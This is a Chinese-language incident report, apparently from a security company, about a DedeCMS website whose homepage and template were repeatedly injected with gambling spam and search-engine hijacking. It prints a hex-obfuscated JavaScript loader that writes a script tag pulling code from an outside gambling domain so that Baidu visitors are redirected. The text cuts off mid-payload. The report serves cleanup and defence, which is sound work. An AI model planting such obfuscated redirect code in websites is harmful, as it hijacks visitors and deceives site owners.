如何解决网站首页老被黑客篡改并被百度安全中心拦截提示该页面存在木马病毒的实战过程

《如何解决网站首页老被黑客篡改并被百度安全中心拦截提示该页面存在木马病毒的实战过程》由会员上传分享，免费在线阅读，更多相关内容在行业资料-天天文库。

1、2018.6.19当天接到一位新客户反映自己的网站被黑了,网站首页也被黑客篡改了，网站首页被加了一些与网站不相符的内容与加密的代码,导致百度网址安全中心提醒您：该页面可能存在木马病毒！网站在百度的收录与快照也被劫持成什么世界杯投注，以及博彩，赌博等等的内容，根据以上客户给我们反映的网站被黑的问题，我们Sine安全公司立即安排安全技术人员对客户网站被黑的情况进行了详细的网站安全检测与代码的人工安全审计,发现客户网站首页之前是经常的被篡改,客户只能删除掉首页文件，然后重新生成首页，实在是反复被篡改的没办法了，才找到我们SINE安全公司来处

2、理网站的安全问题.一.网站被黑的状况分析1.客户的网站采用的是，织梦DEDECMS系统（PHP+MYSQL数据库架构）,dedecms漏洞在近几年实在是爆出了太多,但是现在用dedecms做网站以及平台的也很多,一般企业站或做优化排名的网站都是用这个织梦的程序来做,优化快,访问速度也快,全站可以静态文件生成，方便管理更新文章，也方便网站打开的速度，以及关键词方面的优化与提升。通过与客户的沟通了解，发现客户的网站，只要是发布新的文章，并在后台生成新的html页面，或者生成首页index.html,就会被攻击者直接增加了一些加密的代码与赌

3、博的内容,图片如下：2.网站被篡改的内容都是加了一些什么，极速赛车，赌博，博彩、赌球，世界杯投注的与网站不相关的内容,而且这个网站代码还做了JS判断跳转，针对于Baidu搜索来的客户，会直接跳转到这个极速赛车、赌博、博彩的页面，导致360提示博彩网站拦截,百度提示风险拦截的图片如下：网站在百度的搜索中会直接风险提示：百度网址安全中心提醒你：该页面可能存在木马病毒。通过对客户网站的所有代码的安全检测与代码的人工安全审计，发现网站首页index.html中的内容被篡改，并发现在dedecms模板目录文件下的index.htm文件也被篡改了

4、。我们来打开index.htm模板文件，看下代码：

6、26497;速赛车开奖结果,极速赛车人工计划。"name="keywords"/>下面的这一段代码是加密的JS跳转代码，是根据百度搜索等相应的条件，进行判断，然后跳转，直接输入网站域名不会跳转。window["x64x6fx63x75x6

7、dx65x6ex74"]["x77x72x69x74x65"]('x3cx73x63x72x69x70x74x20x74x79x70x65x3dx22x74x65x78x74x2fx6ax61x76x61x73x63x72x69x70x74x22x20x73x72x63x3dx22x68x74x74x70x3ax2fx2fx77x77x77x2ex38x30x30x30x6bx61x69x2ex63x6f

8、x6dx2fx73x74x61x74x69x63x2fx6ax73x2fx38x30x30x30x6bx61x69x2ex6ax73x22x3ex3cx2fx73x6